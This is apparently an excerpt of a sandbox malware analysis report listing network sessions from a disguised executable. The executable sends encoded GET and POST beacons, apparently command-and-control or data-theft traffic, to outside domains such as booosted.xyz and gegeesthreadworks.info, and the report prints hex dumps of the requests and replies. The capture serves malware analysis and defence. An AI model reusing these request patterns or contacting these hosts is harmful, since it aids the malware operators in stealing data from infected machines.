4f 31 4c 6c 2b 71 50 37 6c 42 61 52 45 61 6d 44 4c 73 48 52 6c 71 34 71 76 74 2b 74 55 5a 2b 51 66 7a 50 57 41 32 61 6a 6f 50 6c 54 62 33 49 71 53 76 31 4f 62 45 36 38 31 6f 51 35 72 47 2b 53 4d 6a 4a 4a 75 61 73 76 72 44 4b 62 77 6f 6a 6f 71 6b 6e 35 73 65 68 64 78 34 4c 65 56 64 39 31 64 5a 32 74 30 75 42 65 66 78 68 63 4b 71 34 74 53 2f 32 53 42 78 46 31 34 2b 6f 4e 77 6d 39 76 6c 6f 6f 36 77 34 46 33 4a 75 43 4d 77 4d 70 6d 62 54 2b 77 4e 67 2b 4b 58 36 59 74 76 58 65 64 6f 31 61 44 37 39 74 6b 4e 43 32 62 4b 6d 61 72 4b 61 4b 78 33 30 31 44 36 53 75 71 [TRUNCATED] Data Ascii: ej6Le=0j6poGQ4bIqrtKH3rVemDdW8jp820N2cJ6QlicRApwGIsCTeqkk4xCkexOZ7WWvB4HbgGMDEP/tVFg1SVgqETpaUBnHVJmp0dRx7fmPBrfqFvX7XC47jIGUugKGl1tjBH5hJDOrPVq4/DYCoO1Ll+qP7lBaREamDLsHRlq4qvt+tUZ+QfzPWA2ajoPlTb3IqSv1ObE681oQ5rG+SMjJJuasvrDKbwojoqkn5sehdx4LeVd91dZ2t0uBefxhcKq4tS/2SBxF14+oNwm9vloo6w4F3JuCMwMpmbT+wNg+KX6YtvXedo1aD79tkNC2bKmarKaKx301D6SuqHjj6oMad6qzNLxquB/XQpBtrEforn2I3UGwxwfarboY1eUAntMrFPiR1ymtpNQV1Xd/cxQ3ZUs85H2WCkNqvWMvma9s4SUaUzpVxly4qW68bfHZsQMX2Du55ebpn9B2U0uOK54Atyla2y1iiJoC5sN61mQcn1aiL8xIWnUdc5cDSVgvKdFFHKmvMzXBpKV2JNsqzqh8LuVM4Tv2ZOjexLzd8ZuAqePJCMjDT8r2h4oRiYFoXsM8e78+FKEYTblCp56YDUTQ0+5bq7f/aaG2/hJjipv8xC32VpnDDMotCWQrClwx8x3EwlBXZ0CThCNXXjaUdq0mENDzS4QvRBhqkmnuK2wPsAEPst3DjXsUUu+cIeVpRiAT5f2Bk9yH4MVXHhMvP4KzPQFSf1/xlsYxvPy0psQZ5/TG3AqRl5EsyK7Nm6iy3rXYLKx+ddIozFIuixUbaWOQt2ucvKhHffT9/dFP5TLIpna3M1rYLxufV35lLsRpx94HGfh6fY+i1R1XaZpkHngGHyUjcKkzhfa2XLJ39CoWpvGBsgVBZzs1HxCuKIgNQ0hXh+YGBABxZkqPvY/FjFJnzi/Fs9XEDFrItiulAukMDli2l1eu5z/oJPdaa4WlUNHOTndE/pEAYZ18uEOfDVf322t1yhPA9Nsg2Gq9eRNifoy842k [TRUNCATED]
Oct 7, 2024 12:34:46.651693106 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 10:34:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cd104a-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Oct 7, 2024 12:34:46.651757002 CEST	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50013	161.97.168.245	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:48.603678942 CEST	507	OUT	GET /epk2/?ej6Le=5hSJrytQEf2r193N2AyKKNas1p8do7y+C8hF198jiQrVzRfSjh9C72xB1f8gK0fXwE+oGLvPau9gCypTG2u5T5i3An2mBAgKXA59UHv+xIL7sVXWIuP/SFcs74Xei//AEoJSK5E=&An=mLdxo2Y8RLRh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Host: www.acuarelacr.buzz Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 7, 2024 12:34:49.205775023 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 10:34:49 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2966 Connection: close Vary: Accept-Encoding ETag: "66cd104a-b96" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
Oct 7, 2024 12:34:49.205941916 CEST	1236	IN	Data Raw: 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 63 39 32 31 32 37 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 77 61 72 6e 69 6e 67 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 Data Ascii: ;fill: #c92127;}.warning {color: #ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707
Oct 7, 2024 12:34:49.205952883 CEST	698	IN	Data Raw: 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 20 31 32 2d 35 2e 33 37 33 20 31 32 2d 31 32 76 2d 31 2e 33 33 33 63 30 2d 32 38 2e 34 36 32 20 38 33 2e Data Ascii: 941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50014	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:54.257118940 CEST	760	OUT	POST /spso/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.booosted.xyz Origin: http://www.booosted.xyz Connection: close Content-Length: 210 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.booosted.xyz/spso/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 67 48 32 6f 6a 57 42 34 73 71 67 4b 6f 71 6c 4b 37 4b 74 67 30 4c 42 2f 70 6c 78 64 64 7a 4c 74 31 4b 38 4e 44 45 6d 73 62 53 4f 43 46 41 39 30 78 6a 59 42 4e 65 4a 64 77 61 7a 4e 32 65 34 76 33 2b 45 38 71 30 55 53 4d 7a 58 59 4b 4a 78 66 46 42 65 4d 5a 75 6b 74 58 38 71 79 67 36 49 2b 67 6c 31 65 6c 4c 43 69 54 65 30 52 35 35 59 39 63 44 37 32 2b 44 6a 39 70 38 67 45 68 63 7a 35 45 46 4b 76 76 61 6d 4d 30 47 58 34 46 48 75 2b 6e 31 46 58 54 36 57 65 6f 72 38 32 79 39 75 70 2b 38 41 76 67 54 55 54 4a 75 55 57 50 61 64 52 6c 4d 66 71 2f 4c 45 52 74 4d 61 75 61 74 69 68 31 41 48 2b 55 78 2f 71 34 74 6c 70 Data Ascii: ej6Le=gH2ojWB4sqgKoqlK7Ktg0LB/plxddzLt1K8NDEmsbSOCFA90xjYBNeJdwazN2e4v3+E8q0USMzXYKJxfFBeMZuktX8qyg6I+gl1elLCiTe0R55Y9cD72+Dj9p8gEhcz5EFKvvamM0GX4FHu+n1FXT6Weor82y9up+8AvgTUTJuUWPadRlMfq/LERtMauatih1AH+Ux/q4tlp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50015	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:56.810563087 CEST	784	OUT	POST /spso/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.booosted.xyz Origin: http://www.booosted.xyz Connection: close Content-Length: 234 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.booosted.xyz/spso/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 67 48 32 6f 6a 57 42 34 73 71 67 4b 71 4b 56 4b 36 71 52 67 7a 72 42 38 33 31 78 64 55 54 4b 6b 31 4c 41 4e 44 46 6a 7a 61 68 71 43 45 68 4e 30 6a 78 38 42 4b 65 4a 64 6b 4b 7a 4d 72 4f 34 30 33 2b 49 43 71 31 45 53 4d 33 2f 59 4b 4d 4e 66 51 6e 57 4e 59 2b 6b 34 4f 4d 71 77 74 61 49 2b 67 6c 31 65 6c 4c 57 45 54 65 73 52 35 70 49 39 65 69 37 31 39 44 6a 69 2b 4d 67 45 6c 63 7a 31 45 46 4c 49 76 66 2b 69 30 44 54 34 46 48 65 2b 70 45 46 51 4b 4b 57 51 6d 4c 39 48 6a 75 48 6d 78 4d 64 2f 6d 67 73 32 4a 74 55 2b 4b 73 63 4c 35 2f 66 4a 74 62 6b 54 74 4f 43 63 61 4e 69 4c 33 41 2f 2b 47 6d 7a 4e 33 5a 41 4b 5a 2b 6e 45 55 67 62 31 35 54 68 54 6c 39 70 64 4b 46 75 58 42 77 3d 3d Data Ascii: ej6Le=gH2ojWB4sqgKqKVK6qRgzrB831xdUTKk1LANDFjzahqCEhN0jx8BKeJdkKzMrO403+ICq1ESM3/YKMNfQnWNY+k4OMqwtaI+gl1elLWETesR5pI9ei719Dji+MgElcz1EFLIvf+i0DT4FHe+pEFQKKWQmL9HjuHmxMd/mgs2JtU+KscL5/fJtbkTtOCcaNiL3A/+GmzN3ZAKZ+nEUgb15ThTl9pdKFuXBw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50016	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:59.360426903 CEST	1797	OUT	POST /spso/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.booosted.xyz Origin: http://www.booosted.xyz Connection: close Content-Length: 1246 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.booosted.xyz/spso/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 67 48 32 6f 6a 57 42 34 73 71 67 4b 71 4b 56 4b 36 71 52 67 7a 72 42 38 33 31 78 64 55 54 4b 6b 31 4c 41 4e 44 46 6a 7a 61 68 69 43 46 58 5a 30 78 41 38 42 4c 65 4a 64 6e 4b 7a 4a 72 4f 34 31 33 2b 42 46 71 77 64 6e 4d 31 33 59 4a 71 35 66 42 31 2b 4e 53 2b 6b 34 54 38 71 7a 67 36 49 6e 67 6c 46 61 6c 4c 47 45 54 65 73 52 35 76 73 39 61 7a 37 31 37 44 6a 39 70 38 67 79 68 63 7a 52 45 46 54 79 76 66 79 63 30 77 62 34 43 6e 4f 2b 72 79 78 51 56 36 57 46 72 72 39 66 6a 75 61 6d 78 4d 42 7a 6d 68 59 4d 4a 76 49 2b 49 62 31 32 68 39 48 6b 2f 49 45 5a 71 5a 71 35 65 36 36 53 36 79 50 6e 4b 30 50 67 39 36 38 58 51 62 6e 46 47 78 7a 30 34 68 52 6b 37 4c 49 55 41 48 2f 2f 52 77 62 36 70 72 61 72 49 4d 30 50 37 4f 41 6b 56 69 41 36 74 70 54 32 35 66 36 32 55 6a 34 70 6b 4f 72 76 78 79 31 4d 61 4d 61 72 39 52 6a 70 62 32 47 6b 32 77 7a 65 4e 57 2b 65 66 38 56 6c 79 51 47 38 37 62 5a 52 52 4f 7a 4f 64 42 2f 47 6d 73 59 78 49 71 56 65 54 4f 35 4e 44 41 4b 51 69 33 72 31 54 44 2f 7a 66 48 65 6e [TRUNCATED] Data Ascii: ej6Le=gH2ojWB4sqgKqKVK6qRgzrB831xdUTKk1LANDFjzahiCFXZ0xA8BLeJdnKzJrO413+BFqwdnM13YJq5fB1+NS+k4T8qzg6InglFalLGETesR5vs9az717Dj9p8gyhczREFTyvfyc0wb4CnO+ryxQV6WFrr9fjuamxMBzmhYMJvI+Ib12h9Hk/IEZqZq5e66S6yPnK0Pg968XQbnFGxz04hRk7LIUAH//Rwb6prarIM0P7OAkViA6tpT25f62Uj4pkOrvxy1MaMar9Rjpb2Gk2wzeNW+ef8VlyQG87bZRROzOdB/GmsYxIqVeTO5NDAKQi3r1TD/zfHen68ccDlW/9DSH6prDnObvSrwg668gGCSriO3t6EzXzGl4XEmUi3vAe1ZhrJn8/wh2X1R1lg3zZjs3g1sOttFXzBUXFyhnDBPXT928qZMFuT6q9NmpVOGW6B4k+BICCBMOa6Y4rde2N5z9OGZ2F6miiwr/13uQHKuevLo4U+TU7aDnx382Az993uy9EE5JTuc5mRu37cS81mfMFELQzgS4AA8LOESJBn2Hgd0Gw0IyzoXW4AsEa3tYtg9cXScap565zoQrg8tvI/j1vzc3tNnsCwx6RZOYJEmcdcSLcnbnYLOyqup/uU7t5voLQHCC1EsH6aeiqL1y7LVXbBJlbHA6I6CMB3CoVDIZynhiPunUbBxTcsshRB45qNLixShFBF7wFn/W+QM3Yt5f+SMDdLqtFS/zBli/Pij9+APtj9x87l+S7sJzyoFScmQpWAuCISpBEk1lC95lPIAoxdzV17SOKqz25I3to4Qn5VRIszBzvGKhfXZI/GA3+6IWGXjSEztyaGbrAepP6YxQMZVJkPO2U9SCJmpY0mSaOnlaTFblk3NtbhY6nQTqPf+U8OroDzfCE23DnNC0Oi3pIFY4UJS61Hb75bxRHskeUNr514eaaBDjOMNE8YNhPHQUvqMK4G41yAunXDWogYzXWXj8QYL2PxUQbfzV3+xys5 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50017	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:35:02.059458017 CEST	504	OUT	GET /spso/?ej6Le=tFeIgmxzndAX18VLtJk/zbNv0lImNRb288p8UUCUbjDyDydKnVlzDYJug8WZqOAMxfoP9GMdNXzPVq95XWLVPrBzbN/BvIU7kFB3pLyGJrR2t8RTUX3UsiymoOhQ+PD/dlbX4PM=&An=mLdxo2Y8RLRh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Host: www.booosted.xyz Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 7, 2024 12:35:02.512428999 CEST	413	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 07 Oct 2024 10:35:02 GMT Content-Type: text/html Content-Length: 273 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 65 6a 36 4c 65 3d 74 46 65 49 67 6d 78 7a 6e 64 41 58 31 38 56 4c 74 4a 6b 2f 7a 62 4e 76 30 6c 49 6d 4e 52 62 32 38 38 70 38 55 55 43 55 62 6a 44 79 44 79 64 4b 6e 56 6c 7a 44 59 4a 75 67 38 57 5a 71 4f 41 4d 78 66 6f 50 39 47 4d 64 4e 58 7a 50 56 71 39 35 58 57 4c 56 50 72 42 7a 62 4e 2f 42 76 49 55 37 6b 46 42 33 70 4c 79 47 4a 72 52 32 74 38 52 54 55 58 33 55 73 69 79 6d 6f 4f 68 51 2b 50 44 2f 64 6c 62 58 34 50 4d 3d 26 41 6e 3d 6d 4c 64 78 6f 32 59 38 52 4c 52 68 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?ej6Le=tFeIgmxzndAX18VLtJk/zbNv0lImNRb288p8UUCUbjDyDydKnVlzDYJug8WZqOAMxfoP9GMdNXzPVq95XWLVPrBzbN/BvIU7kFB3pLyGJrR2t8RTUX3UsiymoOhQ+PD/dlbX4PM=&An=mLdxo2Y8RLRh"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50019	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:35:07.561130047 CEST	790	OUT	POST /8blm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.gegeesthreadworks.info Origin: http://www.gegeesthreadworks.info Connection: close Content-Length: 210 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.gegeesthreadworks.info/8blm/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 4b 51 44 42 39 53 68 2b 79 61 76 6b 66 55 2f 41 76 75 39 56 79 5a 47 54 66 33 7a 64 53 33 61 55 2f 5a 6e 36 63 48 6c 73 51 30 6c 6b 47 31 58 56 68 5a 51 50 57 53 66 79 72 50 4a 78 57 54 57 74 6a 50 57 39 47 7a 74 57 61 76 70 38 76 6d 6e 61 78 38 78 47 46 31 4c 43 72 2b 48 66 32 70 43 39 6b 56 58 7a 59 64 63 37 69 37 62 42 55 62 49 34 69 57 2f 45 6d 6b 67 70 4d 35 50 30 33 56 32 58 78 55 61 37 4b 71 50 58 65 70 74 74 35 4c 77 7a 50 56 73 68 36 61 33 34 55 30 6d 6d 47 30 41 6f 78 6f 4e 63 73 36 6e 76 33 44 39 35 7a 35 76 46 31 49 39 45 6b 4a 6e 6c 76 54 38 43 54 44 37 63 31 4e 52 47 39 54 63 77 66 43 4a 4a Data Ascii: ej6Le=KQDB9Sh+yavkfU/Avu9VyZGTf3zdS3aU/Zn6cHlsQ0lkG1XVhZQPWSfyrPJxWTWtjPW9GztWavp8vmnax8xGF1LCr+Hf2pC9kVXzYdc7i7bBUbI4iW/EmkgpM5P03V2XxUa7KqPXeptt5LwzPVsh6a34U0mmG0AoxoNcs6nv3D95z5vF1I9EkJnlvT8CTD7c1NRG9TcwfCJJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50020	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:35:10.107423067 CEST	814	OUT	POST /8blm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.gegeesthreadworks.info Origin: http://www.gegeesthreadworks.info Connection: close Content-Length: 234 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.gegeesthreadworks.info/8blm/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 4b 51 44 42 39 53 68 2b 79 61 76 6b 66 30 76 41 38 66 39 56 6a 70 47 51 47 33 7a 64 63 58 61 49 2f 5a 6a 36 63 46 49 33 51 6e 42 6b 47 52 66 56 6d 74 4d 50 52 53 66 79 68 76 4a 30 62 7a 57 71 6a 50 54 65 47 7a 52 57 61 76 39 38 76 6d 33 61 78 4e 78 5a 44 31 4c 41 7a 4f 48 64 72 35 43 39 6b 56 58 7a 59 64 59 64 69 34 72 42 55 72 55 34 77 43 72 46 34 55 67 75 46 5a 50 30 68 6c 32 54 78 55 62 73 4b 76 76 35 65 72 46 74 35 4a 6f 7a 50 41 4d 69 77 61 33 2b 4a 45 6d 77 4b 45 64 32 70 4a 46 59 76 5a 7a 63 6b 43 68 59 2f 76 75 66 70 37 39 6e 32 5a 48 6e 76 52 6b 77 54 6a 37 32 33 4e 70 47 76 45 51 58 51 32 73 71 42 72 63 51 55 73 67 4a 5a 36 4c 64 48 49 33 64 53 32 6e 64 39 41 3d 3d Data Ascii: ej6Le=KQDB9Sh+yavkf0vA8f9VjpGQG3zdcXaI/Zj6cFI3QnBkGRfVmtMPRSfyhvJ0bzWqjPTeGzRWav98vm3axNxZD1LAzOHdr5C9kVXzYdYdi4rBUrU4wCrF4UguFZP0hl2TxUbsKvv5erFt5JozPAMiwa3+JEmwKEd2pJFYvZzckChY/vufp79n2ZHnvRkwTj723NpGvEQXQ2sqBrcQUsgJZ6LdHI3dS2nd9A==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50021	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:35:12.658299923 CEST	1827	OUT	POST /8blm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.gegeesthreadworks.info Origin: http://www.gegeesthreadworks.info Connection: close Content-Length: 1246 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.gegeesthreadworks.info/8blm/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 4b 51 44 42 39 53 68 2b 79 61 76 6b 66 30 76 41 38 66 39 56 6a 70 47 51 47 33 7a 64 63 58 61 49 2f 5a 6a 36 63 46 49 33 51 6e 4a 6b 47 47 66 56 68 36 34 50 51 53 66 79 2f 2f 4a 31 62 7a 57 37 6a 4c 2f 43 47 7a 63 30 61 73 46 38 2b 77 37 61 7a 2f 4a 5a 51 56 4c 41 76 2b 48 63 32 